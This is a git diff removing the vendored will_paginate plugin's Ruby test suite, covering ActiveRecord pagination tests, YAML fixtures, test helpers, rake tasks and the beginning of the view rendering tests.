a/vendor/plugins/will_paginate/test/database.yml +++ /dev/null @@ -1,22 +0,0 @@ -sqlite3: - database: ":memory:" - adapter: sqlite3 - timeout: 500 - -sqlite2: - database: ":memory:" - adapter: sqlite2 - -mysql: - adapter: mysql - username: rails - password: mislav - encoding: utf8 - database: will_paginate_unittest - -postgres: - adapter: postgresql - username: mislav - password: mislav - database: will_paginate_unittest - min_messages: warning diff --git a/vendor/plugins/will_paginate/test/finder_test.rb b/vendor/plugins/will_paginate/test/finder_test.rb deleted file mode 100644 index 001cf3a7..00000000 --- a/vendor/plugins/will_paginate/test/finder_test.rb +++ /dev/null @@ -1,434 +0,0 @@ -require 'helper' -require 'lib/activerecord_test_case' - -require 'will_paginate' -WillPaginate.enable_activerecord -WillPaginate.enable_named_scope - -class FinderTest < ActiveRecordTestCase - fixtures :topics, :replies, :users, :projects, :developers_projects - - def test_new_methods_presence - assert_respond_to_all Topic, %w(per_page paginate paginate_by_sql) - end - - def test_simple_paginate - assert_queries(1) do - entries = Topic.paginate :page => nil - assert_equal 1, entries.current_page - assert_equal 1, entries.total_pages - assert_equal 4, entries.size - end - - assert_queries(2) do - entries = Topic.paginate :page => 2 - assert_equal 1, entries.total_pages - assert entries.empty? - end - end - - def test_parameter_api - # :page parameter in options is required! - assert_raise(ArgumentError){ Topic.paginate } - assert_raise(ArgumentError){ Topic.paginate({}) } - - # explicit :all should not break anything - assert_equal Topic.paginate(:page => nil), Topic.paginate(:all, :page => 1) - - # :count could be nil and we should still not cry - assert_nothing_raised { Topic.paginate :page => 1, :count => nil } - end - - def test_paginate_with_per_page - entries = Topic.paginate :page => 1, :per_page => 1 - assert_equal 1, entries.size - assert_equal 4, entries.total_pages - - # Developer class has explicit per_page at 10 - entries = Developer.paginate :page => 1 - assert_equal 10, entries.size - assert_equal 2, entries.total_pages - - entries = Developer.paginate :page => 1, :per_page => 5 - assert_equal 11, entries.total_entries - assert_equal 5, entries.size - assert_equal 3, entries.total_pages - end - - def test_paginate_with_order - entries = Topic.paginate :page => 1, :order => 'created_at desc' - expected = [topics(:futurama), topics(:harvey_birdman), topics(:rails), topics(:ar)].reverse - assert_equal expected, entries.to_a - assert_equal 1, entries.total_pages - end - - def test_paginate_with_conditions - entries = Topic.paginate :page => 1, :conditions => ["created_at > ?", 30.minutes.ago] - expected = [topics(:rails), topics(:ar)] - assert_equal expected, entries.to_a - assert_equal 1, entries.total_pages - end - - def test_paginate_with_include_and_conditions - entries = Topic.paginate \ - :page => 1, - :include => :replies, - :conditions => "replies.content LIKE 'Bird%' ", - :per_page => 10 - - expected = Topic.find :all, - :include => 'replies', - :conditions => "replies.content LIKE 'Bird%' ", - :limit => 10 - - assert_equal expected, entries.to_a - assert_equal 1, entries.total_entries - end - - def test_paginate_with_include_and_order - entries = nil - assert_queries(2) do - entries = Topic.paginate \ - :page => 1, - :include => :replies, - :order => 'replies.created_at asc, topics.created_at asc', - :per_page => 10 - end - - expected = Topic.find :all, - :include => 'replies', - :order => 'replies.created_at asc, topics.created_at asc', - :limit => 10 - - assert_equal expected, entries.to_a - assert_equal 4, entries.total_entries - end - - def test_paginate_associations_with_include - entries, project = nil, projects(:active_record) - - assert_nothing_raised "THIS IS A BUG in Rails 1.2.3 that was fixed in [7326]. " + - "Please upgrade to a newer version of Rails." do - entries = project.topics.paginate \ - :page => 1, - :include => :replies, - :conditions => "replies.content LIKE 'Nice%' ", - :per_page => 10 - end - - expected = Topic.find :all, - :include => 'replies', - :conditions => "project_id = #{project.id} AND replies.content LIKE 'Nice%' ", - :limit => 10 - - assert_equal expected, entries.to_a - end - - def test_paginate_associations - dhh = users :david - expected_name_ordered = [projects(:action_controller), projects(:active_record)] - expected_id_ordered = [projects(:active_record), projects(:action_controller)] - - assert_queries(2) do - # with association-specified order - entries = dhh.projects.paginate(:page => 1) - assert_equal expected_name_ordered, entries - assert_equal 2, entries.total_entries - end - - # with explicit order - entries = dhh.projects.paginate(:page => 1, :order => 'projects.id') - assert_equal expected_id_ordered, entries - assert_equal 2, entries.total_entries - - assert_nothing_raised { dhh.projects.find(:all, :order => 'projects.id', :limit => 4) } - entries = dhh.projects.paginate(:page => 1, :order => 'projects.id', :per_page => 4) - assert_equal expected_id_ordered, entries - - # has_many with implicit order - topic = Topic.find(1) - expected = [replies(:spam), replies(:witty_retort)] - assert_equal expected.map(&:id).sort, topic.replies.paginate(:page => 1).map(&:id).sort - assert_equal expected.reverse, topic.replies.paginate(:page => 1, :order => 'replies.id ASC') - end - - def test_paginate_association_extension - project = Project.find(:first) - - assert_queries(2) do - entries = project.replies.paginate_recent :page => 1 - assert_equal [replies(:brave)], entries - end - end - - def test_paginate_with_joins - entries = nil - - assert_queries(1) do - entries = Developer.paginate :page => 1, - :joins => 'LEFT JOIN developers_projects ON users.id = developers_projects.developer_id', - :conditions => 'project_id = 1' - assert_equal 2, entries.size - developer_names = entries.map &:name - assert developer_names.include?('David') - assert developer_names.include?('Jamis') - end - - assert_queries(1) do - expected = entries.to_a - entries = Developer.paginate :page => 1, - :joins => 'LEFT JOIN developers_projects ON users.id = developers_projects.developer_id', - :conditions => 'project_id = 1', :count => { :select => "users.id" } - assert_equal expected, entries.to_a - assert_equal 2, entries.total_entries - end - end - - def test_paginate_with_group - entries = nil - assert_queries(1) do - entries = Developer.paginate :page => 1, :per_page => 10, - :group => 'salary', :select => 'salary', :order => 'salary' - end - - expected = [ users(:david), users(:jamis), users(:dev_10), users(:poor_jamis) ].map(&:salary).sort - assert_equal expected, entries.map(&:salary) - end - - def test_paginate_with_dynamic_finder - expected = [replies(:witty_retort), replies(:spam)] - assert_equal expected, Reply.paginate_by_topic_id(1, :page => 1) - - entries = Developer.paginate :conditions => { :salary => 100000 }, :page => 1, :per_page => 5 - assert_equal 8, entries.total_entries - assert_equal entries, Developer.paginate_by_salary(100000, :page => 1, :per_page => 5) - - # dynamic finder + conditions - entries = Developer.paginate_by_salary(100000, :page => 1, - :conditions => ['id > ?', 6]) - assert_equal 4, entries.total_entries - assert_equal (7..10).to_a, entries.map(&:id) - - assert_raises NoMethodError do - Developer.paginate_by_inexistent_attribute 100000, :page => 1 - end - end - - def test_scoped_paginate - entries = Developer.with_poor_ones { Developer.paginate :page => 1 } - - assert_equal 2, entries.size - assert_equal 2, entries.total_entries - end - - ## named_scope ## - - def test_paginate_in_named_scope - entries = Developer.poor.paginate :page => 1, :per_page => 1 - - assert_equal 1, entries.size - assert_equal 2, entries.total_entries - end - - def test_paginate_in_named_scope_on_habtm_association - project = projects(:active_record) - assert_queries(2) do - entries = project.developers.poor.paginate :page => 1, :per_page => 1 - - assert_equal 1, entries.size, 'one developer should be found' - assert_equal 1, entries.total_entries, 'only one developer should be found' - end - end - - def test_paginate_in_named_scope_on_hmt_association - project = projects(:active_record) - expected = [replies(:brave)] - - assert_queries(2) do - entries = project.replies.recent.paginate :page => 1, :per_page => 1 - assert_equal expected, entries - assert_equal 1, entries.total_entries, 'only one reply should be found' - end - end - - def test_paginate_in_named_scope_on_has_many_association - project = projects(:active_record) - expected = [topics(:ar)] - - assert_queries(2) do - entries = project.topics.mentions_activerecord.paginate :page => 1, :per_page => 1 - assert_equal expected, entries - assert_equal 1, entries.total_entries, 'only one topic should be found' - end - end - - ## misc ## - - def test_count_and_total_entries_options_are_mutually_exclusive - e = assert_raise ArgumentError do - Developer.paginate :page => 1, :count => {}, :total_entries => 1 - end - assert_match /exclusive/, e.to_s - end - - def test_readonly - assert_nothing_raised { Developer.paginate :readonly => true, :page => 1 } - end - - # this functionality is temporarily removed - def xtest_pagination_defines_method - pager = "paginate_by_created_at" - assert !User.methods.include?(pager), "User methods should not include `#{pager}` method" - # paginate! - assert 0, User.send(pager, nil, :page => 1).total_entries - # the paging finder should now be defined - assert User.methods.include?(pager), "`#{pager}` method should be defined on User" - end - - # Is this Rails 2.0? Find out by testing find_all which was removed in [6998] - unless ActiveRecord::Base.respond_to? :find_all - def test_paginate_array_of_ids - # AR finders also accept arrays of IDs - # (this was broken in Rails before [6912]) - assert_queries(1) do - entries = Developer.paginate((1..8).to_a, :per_page => 3, :page => 2, :order => 'id') - assert_equal (4..6).to_a, entries.map(&:id) - assert_equal 8, entries.total_entries - end - end - end - - uses_mocha 'internals' do - def test_implicit_all_with_dynamic_finders - Topic.expects(:find_all_by_foo).returns([]) - Topic.expects(:count).returns(0) - Topic.paginate_by_foo :page => 2 - end - - def test_guessing_the_total_count - Topic.expects(:find).returns(Array.new(2)) - Topic.expects(:count).never - - entries = Topic.paginate :page => 2, :per_page => 4 - assert_equal 6, entries.total_entries - end - - def test_guessing_that_there_are_no_records - Topic.expects(:find).returns([]) - Topic.expects(:count).never - - entries = Topic.paginate :page => 1, :per_page => 4 - assert_equal 0, entries.total_entries - end - - def test_extra_parameters_stay_untouched - Topic.expects(:find).with(:all, {:foo => 'bar', :limit => 4, :offset => 0 }).returns(Array.new(5)) - Topic.expects(:count).with({:foo => 'bar'}).returns(1) - - Topic.paginate :foo => 'bar', :page => 1, :per_page => 4 - end - - def test_count_skips_select - Developer.stubs(:find).returns([]) - Developer.expects(:count).with({}).returns(0) - Developer.paginate :select => 'salary', :page => 2 - end - - def test_count_select_when_distinct - Developer.stubs(:find).returns([]) - Developer.expects(:count).with(:select => 'DISTINCT salary').returns(0) - Developer.paginate :select => 'DISTINCT salary', :page => 2 - end - - def test_should_use_scoped_finders_if_present - # scope-out compatibility - Topic.expects(:find_best).returns(Array.new(5)) - Topic.expects(:with_best).returns(1) - - Topic.paginate_best :page => 1, :per_page => 4 - end - - def test_paginate_by_sql - assert_respond_to Developer, :paginate_by_sql - Developer.expects(:find_by_sql).with(regexp_matches(/sql LIMIT 3(,| OFFSET) 3/)).returns([]) - Developer.expects(:count_by_sql).with('SELECT COUNT(*) FROM (sql) AS count_table').returns(0) - - entries = Developer.paginate_by_sql 'sql', :page => 2, :per_page => 3 - end - - def test_paginate_by_sql_respects_total_entries_setting - Developer.expects(:find_by_sql).returns([]) - Developer.expects(:count_by_sql).never - - entries = Developer.paginate_by_sql 'sql', :page => 1, :total_entries => 999 - assert_equal 999, entries.total_entries - end - - def test_paginate_by_sql_strips_order_by_when_counting - Developer.expects(:find_by_sql).returns([]) - Developer.expects(:count_by_sql).with("SELECT COUNT(*) FROM (sql\n ) AS count_table").returns(0) - - Developer.paginate_by_sql "sql\n ORDER\nby foo, bar, `baz` ASC", :page => 2 - end - - # TODO: counts are still wrong - def test_ability_to_use_with_custom_finders - # acts_as_taggable defines find_tagged_with(tag, options) - Topic.expects(:find_tagged_with).with('will_paginate', :offset => 5, :limit => 5).returns([]) - Topic.expects(:count).with({}).returns(0) - - Topic.paginate_tagged_with 'will_paginate', :page => 2, :per_page => 5 - end - - def test_array_argument_doesnt_eliminate_count - ids = (1..8).to_a - Developer.expects(:find_all_by_id).returns([]) - Developer.expects(:count).returns(0) - - Developer.paginate_by_id(ids, :per_page => 3, :page => 2, :order => 'id') - end - - def test_paginating_finder_doesnt_mangle_options - Developer.expects(:find).returns([]) - options = { :page => 1 } - options.expects(:delete).never - options_before = options.dup - - Developer.paginate(options) - assert_equal options, options_before - end - - def test_paginated_each - collection = stub('collection', :size => 5, :empty? => false, :per_page => 5) - collection.expects(:each).times(2).returns(collection) - last_collection = stub('collection', :size => 4, :empty? => false, :per_page => 5) - last_collection.expects(:each).returns(last_collection) - - params = { :order => 'id', :total_entries => 0 } - - Developer.expects(:paginate).with(params.merge(:page => 2)).returns(collection) - Developer.expects(:paginate).with(params.merge(:page => 3)).returns(collection) - Developer.expects(:paginate).with(params.merge(:page => 4)).returns(last_collection) - - assert_equal 14, Developer.paginated_each(:page => '2') { } - end - - # detect ActiveRecord 2.1 - if ActiveRecord::Base.private_methods.include?('references_eager_loaded_tables?') - def test_removes_irrelevant_includes_in_count - Developer.expects(:find).returns([1]) - Developer.expects(:count).with({}).returns(0) - - Developer.paginate :page => 1, :per_page => 1, :include => :projects - end - - def test_doesnt_remove_referenced_includes_in_count - Developer.expects(:find).returns([1]) - Developer.expects(:count).with({ :include => :projects, :conditions => 'projects.id > 2' }).returns(0) - - Developer.paginate :page => 1, :per_page => 1, - :include => :projects, :conditions => 'projects.id > 2' - end - end - end -end diff --git a/vendor/plugins/will_paginate/test/fixtures/admin.rb b/vendor/plugins/will_paginate/test/fixtures/admin.rb deleted file mode 100644 index 1d5e7f36..00000000 --- a/vendor/plugins/will_paginate/test/fixtures/admin.rb +++ /dev/null @@ -1,3 +0,0 @@ -class Admin < User - has_many :companies, :finder_sql => 'SELECT * FROM companies' -end diff --git a/vendor/plugins/will_paginate/test/fixtures/developer.rb b/vendor/plugins/will_paginate/test/fixtures/developer.rb deleted file mode 100644 index 7105355d..00000000 --- a/vendor/plugins/will_paginate/test/fixtures/developer.rb +++ /dev/null @@ -1,13 +0,0 @@ -class Developer < User - has_and_belongs_to_many :projects, :include => :topics, :order => 'projects.name' - - def self.with_poor_ones(&block) - with_scope :find => { :conditions => ['salary <= ?', 80000], :order => 'salary' } do - yield - end - end - - named_scope :poor, :conditions => ['salary <= ?', 80000], :order => 'salary' - - def self.per_page() 10 end -end diff --git a/vendor/plugins/will_paginate/test/fixtures/developers_projects.yml b/vendor/plugins/will_paginate/test/fixtures/developers_projects.yml deleted file mode 100644 index cee359c7..00000000 --- a/vendor/plugins/will_paginate/test/fixtures/developers_projects.yml +++ /dev/null @@ -1,13 +0,0 @@ -david_action_controller: - developer_id: 1 - project_id: 2 - joined_on: 2004-10-10 - -david_active_record: - developer_id: 1 - project_id: 1 - joined_on: 2004-10-10 - -jamis_active_record: - developer_id: 2 - project_id: 1 \ No newline at end of file diff --git a/vendor/plugins/will_paginate/test/fixtures/project.rb b/vendor/plugins/will_paginate/test/fixtures/project.rb deleted file mode 100644 index 0f85ef5e..00000000 --- a/vendor/plugins/will_paginate/test/fixtures/project.rb +++ /dev/null @@ -1,15 +0,0 @@ -class Project < ActiveRecord::Base - has_and_belongs_to_many :developers, :uniq => true - - has_many :topics - # :finder_sql => 'SELECT * FROM topics WHERE (topics.project_id = #{id})', - # :counter_sql => 'SELECT COUNT(*) FROM topics WHERE (topics.project_id = #{id})' - - has_many :replies, :through => :topics do - def find_recent(params = {}) - with_scope :find => { :conditions => ['replies.created_at > ?', 15.minutes.ago] } do - find :all, params - end - end - end -end diff --git a/vendor/plugins/will_paginate/test/fixtures/projects.yml b/vendor/plugins/will_paginate/test/fixtures/projects.yml deleted file mode 100644 index 74f3c32f..00000000 --- a/vendor/plugins/will_paginate/test/fixtures/projects.yml +++ /dev/null @@ -1,6 +0,0 @@ -active_record: - id: 1 - name: Active Record -action_controller: - id: 2 - name: Active Controller diff --git a/vendor/plugins/will_paginate/test/fixtures/replies.yml b/vendor/plugins/will_paginate/test/fixtures/replies.yml deleted file mode 100644 index 9a83c004..00000000 --- a/vendor/plugins/will_paginate/test/fixtures/replies.yml +++ /dev/null @@ -1,29 +0,0 @@ -witty_retort: - id: 1 - topic_id: 1 - content: Birdman is better! - created_at: <%= 6.hours.ago.to_s(:db) %> - -another: - id: 2 - topic_id: 2 - content: Nuh uh! - created_at: <%= 1.hour.ago.to_s(:db) %> - -spam: - id: 3 - topic_id: 1 - content: Nice site! - created_at: <%= 1.hour.ago.to_s(:db) %> - -decisive: - id: 4 - topic_id: 4 - content: "I'm getting to the bottom of this" - created_at: <%= 30.minutes.ago.to_s(:db) %> - -brave: - id: 5 - topic_id: 4 - content: "AR doesn't scare me a bit" - created_at: <%= 10.minutes.ago.to_s(:db) %> diff --git a/vendor/plugins/will_paginate/test/fixtures/reply.rb b/vendor/plugins/will_paginate/test/fixtures/reply.rb deleted file mode 100644 index ecaf3c1f..00000000 --- a/vendor/plugins/will_paginate/test/fixtures/reply.rb +++ /dev/null @@ -1,7 +0,0 @@ -class Reply < ActiveRecord::Base - belongs_to :topic, :include => [:replies] - - named_scope :recent, :conditions => ['replies.created_at > ?', 15.minutes.ago] - - validates_presence_of :content -end diff --git a/vendor/plugins/will_paginate/test/fixtures/schema.rb b/vendor/plugins/will_paginate/test/fixtures/schema.rb deleted file mode 100644 index 8831aad2..00000000 --- a/vendor/plugins/will_paginate/test/fixtures/schema.rb +++ /dev/null @@ -1,38 +0,0 @@ -ActiveRecord::Schema.define do - - create_table "users", :force => true do |t| - t.column "name", :text - t.column "salary", :integer, :default => 70000 - t.column "created_at", :datetime - t.column "updated_at", :datetime - t.column "type", :text - end - - create_table "projects", :force => true do |t| - t.column "name", :text - end - - create_table "developers_projects", :id => false, :force => true do |t| - t.column "developer_id", :integer, :null => false - t.column "project_id", :integer, :null => false - t.column "joined_on", :date - t.column "access_level", :integer, :default => 1 - end - - create_table "topics", :force => true do |t| - t.column "project_id", :integer - t.column "title", :string - t.column "subtitle", :string - t.column "content", :text - t.column "created_at", :datetime - t.column "updated_at", :datetime - end - - create_table "replies", :force => true do |t| - t.column "content", :text - t.column "created_at", :datetime - t.column "updated_at", :datetime - t.column "topic_id", :integer - end - -end diff --git a/vendor/plugins/will_paginate/test/fixtures/topic.rb b/vendor/plugins/will_paginate/test/fixtures/topic.rb deleted file mode 100644 index 77be0dda..00000000 --- a/vendor/plugins/will_paginate/test/fixtures/topic.rb +++ /dev/null @@ -1,6 +0,0 @@ -class Topic < ActiveRecord::Base - has_many :replies, :dependent => :destroy, :order => 'replies.created_at DESC' - belongs_to :project - - named_scope :mentions_activerecord, :conditions => ['topics.title LIKE ?', '%ActiveRecord%'] -end diff --git a/vendor/plugins/will_paginate/test/fixtures/topics.yml b/vendor/plugins/will_paginate/test/fixtures/topics.yml deleted file mode 100644 index 0a269047..00000000 --- a/vendor/plugins/will_paginate/test/fixtures/topics.yml +++ /dev/null @@ -1,30 +0,0 @@ -futurama: - id: 1 - title: Isnt futurama awesome? - subtitle: It really is, isnt it. - content: I like futurama - created_at: <%= 1.day.ago.to_s(:db) %> - updated_at: - -harvey_birdman: - id: 2 - title: Harvey Birdman is the king of all men - subtitle: yup - content: He really is - created_at: <%= 2.hours.ago.to_s(:db) %> - updated_at: - -rails: - id: 3 - project_id: 1 - title: Rails is nice - subtitle: It makes me happy - content: except when I have to hack internals to fix pagination. even then really. - created_at: <%= 20.minutes.ago.to_s(:db) %> - -ar: - id: 4 - project_id: 1 - title: ActiveRecord sometimes freaks me out - content: "I mean, what's the deal with eager loading?" - created_at: <%= 15.minutes.ago.to_s(:db) %> diff --git a/vendor/plugins/will_paginate/test/fixtures/user.rb b/vendor/plugins/will_paginate/test/fixtures/user.rb deleted file mode 100644 index 4a57cf07..00000000 --- a/vendor/plugins/will_paginate/test/fixtures/user.rb +++ /dev/null @@ -1,2 +0,0 @@ -class User < ActiveRecord::Base -end diff --git a/vendor/plugins/will_paginate/test/fixtures/users.yml b/vendor/plugins/will_paginate/test/fixtures/users.yml deleted file mode 100644 index ed2c03ae..00000000 --- a/vendor/plugins/will_paginate/test/fixtures/users.yml +++ /dev/null @@ -1,35 +0,0 @@ -david: - id: 1 - name: David - salary: 80000 - type: Developer - -jamis: - id: 2 - name: Jamis - salary: 150000 - type: Developer - -<% for digit in 3..10 %> -dev_<%= digit %>: - id: <%= digit %> - name: fixture_<%= digit %> - salary: 100000 - type: Developer -<% end %> - -poor_jamis: - id: 11 - name: Jamis - salary: 9000 - type: Developer - -admin: - id: 12 - name: admin - type: Admin - -goofy: - id: 13 - name: Goofy - type: Admin diff --git a/vendor/plugins/will_paginate/test/helper.rb b/vendor/plugins/will_paginate/test/helper.rb deleted file mode 100644 index ad52b1b6..00000000 --- a/vendor/plugins/will_paginate/test/helper.rb +++ /dev/null @@ -1,37 +0,0 @@ -require 'test/unit' -require 'rubygems' - -# gem install redgreen for colored test output -begin require 'redgreen'; rescue LoadError; end - -require 'boot' unless defined?(ActiveRecord) - -class Test::Unit::TestCase - protected - def assert_respond_to_all object, methods - methods.each do |method| - [method.to_s, method.to_sym].each { |m| assert_respond_to object, m } - end - end - - def collect_deprecations - old_behavior = WillPaginate::Deprecation.behavior - deprecations = [] - WillPaginate::Deprecation.behavior = Proc.new do |message, callstack| - deprecations << message - end - result = yield - [result, deprecations] - ensure - WillPaginate::Deprecation.behavior = old_behavior - end -end - -# Wrap tests that use Mocha and skip if unavailable. -def uses_mocha(test_name) - require 'mocha' unless Object.const_defined?(:Mocha) -rescue LoadError => load_error - $stderr.puts "Skipping #{test_name} tests. `gem install mocha` and try again." -else - yield -end diff --git a/vendor/plugins/will_paginate/test/lib/activerecord_test_case.rb b/vendor/plugins/will_paginate/test/lib/activerecord_test_case.rb deleted file mode 100644 index 8f66ebee..00000000 --- a/vendor/plugins/will_paginate/test/lib/activerecord_test_case.rb +++ /dev/null @@ -1,36 +0,0 @@ -require 'lib/activerecord_test_connector' - -class ActiveRecordTestCase < Test::Unit::TestCase - # Set our fixture path - if ActiveRecordTestConnector.able_to_connect - self.fixture_path = File.join(File.dirname(__FILE__), '..', 'fixtures') - self.use_transactional_fixtures = true - end - - def self.fixtures(*args) - super if ActiveRecordTestConnector.connected - end - - def run(*args) - super if ActiveRecordTestConnector.connected - end - - # Default so Test::Unit::TestCase doesn't complain - def test_truth - end - - protected - - def assert_queries(num = 1) - $query_count = 0 - yield - ensure - assert_equal num, $query_count, "#{$query_count} instead of #{num} queries were executed." - end - - def assert_no_queries(&block) - assert_queries(0, &block) - end -end - -ActiveRecordTestConnector.setup diff --git a/vendor/plugins/will_paginate/test/lib/activerecord_test_connector.rb b/vendor/plugins/will_paginate/test/lib/activerecord_test_connector.rb deleted file mode 100644 index 0decd8a2..00000000 --- a/vendor/plugins/will_paginate/test/lib/activerecord_test_connector.rb +++ /dev/null @@ -1,69 +0,0 @@ -require 'active_record' -require 'active_record/version' -require 'active_record/fixtures' - -class ActiveRecordTestConnector - cattr_accessor :able_to_connect - cattr_accessor :connected - - FIXTURES_PATH = File.join(File.dirname(__FILE__), '..', 'fixtures') - - # Set our defaults - self.connected = false - self.able_to_connect = true - - def self.setup - unless self.connected || !self.able_to_connect - setup_connection - load_schema - Dependencies.load_paths.unshift FIXTURES_PATH - self.connected = true - end - rescue Exception => e # errors from ActiveRecord setup - $stderr.puts "\nSkipping ActiveRecord tests: #{e}" - $stderr.puts "Install SQLite3 to run the full test suite for will_paginate.\n\n" - self.able_to_connect = false - end - - private - - def self.setup_connection - db = ENV['DB'].blank?? 'sqlite3' : ENV['DB'] - - configurations = YAML.load_file(File.join(File.dirname(__FILE__), '..', 'database.yml')) - raise "no configuration for '#{db}'" unless configurations.key? db - configuration = configurations[db] - - ActiveRecord::Base.logger = Logger.new(STDOUT) if $0 == 'irb' - puts "using #{configuration['adapter']} adapter" unless ENV['DB'].blank? - - ActiveRecord::Base.establish_connection(configuration) - ActiveRecord::Base.configurations = { db => configuration } - prepare ActiveRecord::Base.connection - - unless Object.const_defined?(:QUOTED_TYPE) - Object.send :const_set, :QUOTED_TYPE, ActiveRecord::Base.connection.quote_column_name('type') - end - end - - def self.load_schema - ActiveRecord::Base.silence do - ActiveRecord::Migration.verbose = false - load File.join(FIXTURES_PATH, 'schema.rb') - end - end - - def self.prepare(conn) - class << conn - IGNORED_SQL = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SHOW FIELDS /] - - def execute_with_counting(sql, name = nil, &block) - $query_count ||= 0 - $query_count += 1 unless IGNORED_SQL.any? { |r| sql =~ r } - execute_without_counting(sql, name, &block) - end - - alias_method_chain :execute, :counting - end - end -end diff --git a/vendor/plugins/will_paginate/test/lib/load_fixtures.rb b/vendor/plugins/will_paginate/test/lib/load_fixtures.rb deleted file mode 100644 index 10d6f420..00000000 --- a/vendor/plugins/will_paginate/test/lib/load_fixtures.rb +++ /dev/null @@ -1,11 +0,0 @@ -require 'boot' -require 'lib/activerecord_test_connector' - -# setup the connection -ActiveRecordTestConnector.setup - -# load all fixtures -Fixtures.create_fixtures(ActiveRecordTestConnector::FIXTURES_PATH, ActiveRecord::Base.connection.tables) - -require 'will_paginate' -WillPaginate.enable_activerecord diff --git a/vendor/plugins/will_paginate/test/lib/view_test_process.rb b/vendor/plugins/will_paginate/test/lib/view_test_process.rb deleted file mode 100644 index e4e79d57..00000000 --- a/vendor/plugins/will_paginate/test/lib/view_test_process.rb +++ /dev/null @@ -1,165 +0,0 @@ -require 'action_controller' -require 'action_controller/test_process' - -require 'will_paginate' -WillPaginate.enable_actionpack - -ActionController::Routing::Routes.draw do |map| - map.connect 'dummy/page/:page', :controller => 'dummy' - map.connect 'dummy/dots/page.:page', :controller => 'dummy', :action => 'dots' - map.connect 'ibocorp/:page', :controller => 'ibocorp', - :requirements => { :page => /\d+/ }, - :defaults => { :page => 1 } - - map.connect ':controller/:action/:id' -end - -ActionController::Base.perform_caching = false - -class WillPaginate::ViewTestCase < Test::Unit::TestCase - def setup - super - @controller = DummyController.new - @request = @controller.request - @html_result = nil - @template = '<%= will_paginate collection, options %>' - - @view = ActionView::Base.new - @view.assigns['controller'] = @controller - @view.assigns['_request'] = @request - @view.assigns['_params'] = @request.params - end - - def test_no_complain; end - - protected - - def paginate(collection = {}, options = {}, &block) - if collection.instance_of? Hash - page_options = { :page => 1, :total_entries => 11, :per_page => 4 }.merge(collection) - collection = [1].paginate(page_options) - end - - locals = { :collection => collection, :options => options } - - if defined? ActionView::InlineTemplate - # Rails 2.1 - args = [ ActionView::InlineTemplate.new(@view, @template, locals) ] - else - # older Rails versions - args = [nil, @template, nil, locals] - end - - @html_result = @view.render_template(*args) - @html_document = HTML::Document.new(@html_result, true, false) - - if block_given? - classname = options[:class] || WillPaginate::ViewHelpers.pagination_options[:class] - assert_select("div.#{classname}", 1, 'no main DIV', &block) - end - end - - def response_from_page_or_rjs - @html_document.root - end - - def validate_page_numbers expected, links, param_name = :page - param_pattern = /\W#{CGI.escape(param_name.to_s)}=([^&]*)/ - - assert_equal(expected, links.map { |e| - e['href'] =~ param_pattern - $1 ? $1.to_i : $1 - }) - end - - def assert_links_match pattern, links = nil, numbers = nil - links ||= assert_select 'div.pagination a[href]' do |elements| - elements - end - - pages = [] if numbers - - links.each do |el| - assert_match pattern, el['href'] - if numbers - el['href'] =~ pattern - pages << ($1.nil?? nil : $1.to_i) - end - end - - assert_equal numbers, pages, "page numbers don't match" if numbers - end - - def assert_no_links_match pattern - assert_select 'div.pagination a[href]' do |elements| - elements.each do |el| - assert_no_match pattern, el['href'] - end - end - end -end - -class DummyRequest - attr_accessor :symbolized_path_parameters - - def initialize - @get = true - @params = {} - @symbolized_path_parameters = { :controller => 'foo', :action => 'bar' } - end - - def get? - @get - end - - def post - @get = false - end - - def relative_url_root - '' - end - - def params(more = nil) - @params.update(more) if more - @params - end -end - -class DummyController - attr_reader :request - attr_accessor :controller_name - - def initialize - @request = DummyRequest.new - @url = ActionController::UrlRewriter.new(@request, @request.params) - end - - def params - @request.params - end - - def url_for(params) - @url.rewrite(params) - end -end - -module HTML - Node.class_eval do - def inner_text - children.map(&:inner_text).join('') - end - end - - Text.class_eval do - def inner_text - self.to_s - end - end - - Tag.class_eval do - def inner_text - childless?? '' : super - end - end -end diff --git a/vendor/plugins/will_paginate/test/tasks.rake b/vendor/plugins/will_paginate/test/tasks.rake deleted file mode 100644 index 4b2de3b8..00000000 --- a/vendor/plugins/will_paginate/test/tasks.rake +++ /dev/null @@ -1,56 +0,0 @@ -require 'rake/testtask' - -desc 'Test the will_paginate plugin.' -Rake::TestTask.new(:test) do |t| - t.pattern = 'test/**/*_test.rb' - t.verbose = true - t.libs << 'test' -end - -# I want to specify environment variables at call time -class EnvTestTask < Rake::TestTask - attr_accessor :env - - def ruby(*args) - env.each { |key, value| ENV[key] = value } if env - super - env.keys.each { |key| ENV.delete key } if env - end -end - -for configuration in %w( sqlite3 mysql postgres ) - EnvTestTask.new("test_#{configuration}") do |t| - t.pattern = 'test/finder_test.rb' - t.verbose = true - t.env = { 'DB' => configuration } - t.libs << 'test' - end -end - -task :test_databases => %w(test_mysql test_sqlite3 test_postgres) - -desc %{Test everything on SQLite3, MySQL and PostgreSQL} -task :test_full => %w(test test_mysql test_postgres) - -desc %{Test everything with Rails 1.2.x and 2.0.x gems} -task :test_all do - all = Rake::Task['test_full'] - ENV['RAILS_VERSION'] = '~>1.2.6' - all.invoke - # reset the invoked flag - %w( test_full test test_mysql test_postgres ).each do |name| - Rake::Task[name].instance_variable_set '@already_invoked', false - end - # do it again - ENV['RAILS_VERSION'] = '~>2.0.2' - all.invoke -end - -task :rcov do - excludes = %w( lib/will_paginate/named_scope* - lib/will_paginate/core_ext.rb - lib/will_paginate.rb - rails* ) - - system %[rcov -Itest:lib test/*.rb -x #{excludes.join(',')}] -end diff --git a/vendor/plugins/will_paginate/test/view_test.rb b/vendor/plugins/will_paginate/test/view_test.rb deleted file mode 100644 index b6d1a207..00000000 --- a/vendor/plugins/will_paginate/test/view_test.rb +++ /dev/null @@ -1,355 +0,0 @@ -require 'helper' -require 'lib/view_test_process' - -class AdditionalLinkAttributesRenderer < WillPaginate::LinkRenderer - def initialize(link_attributes = nil) - super() - @additional_link_attributes = link_attributes || { :default => 'true' } - end - - def page_link(page, text, attributes = {}) - @template.link_to text, url_for(page), attributes.merge(@additional_link_attributes) - end -end - -class ViewTest < WillPaginate::ViewTestCase - - ## basic pagination ## - - def test_will_paginate - paginate do |pagination| - assert_select 'a[href]', 3 do |elements| - validate_page_numbers [2,3,2], elements - assert_select elements.last, ':last-child', "Next »" - end - assert_select 'span', 2 - assert_select 'span.disabled:first-child', '« Previous' - assert_select 'span.current', '1' - assert_equal '« Previous 1 2 3 Next »', pagination.first.inner_text - end - end - - def test_no_pagination_when_page_count_is_one - paginate :per_page => 30 - assert_equal '', @html_result - end - - def 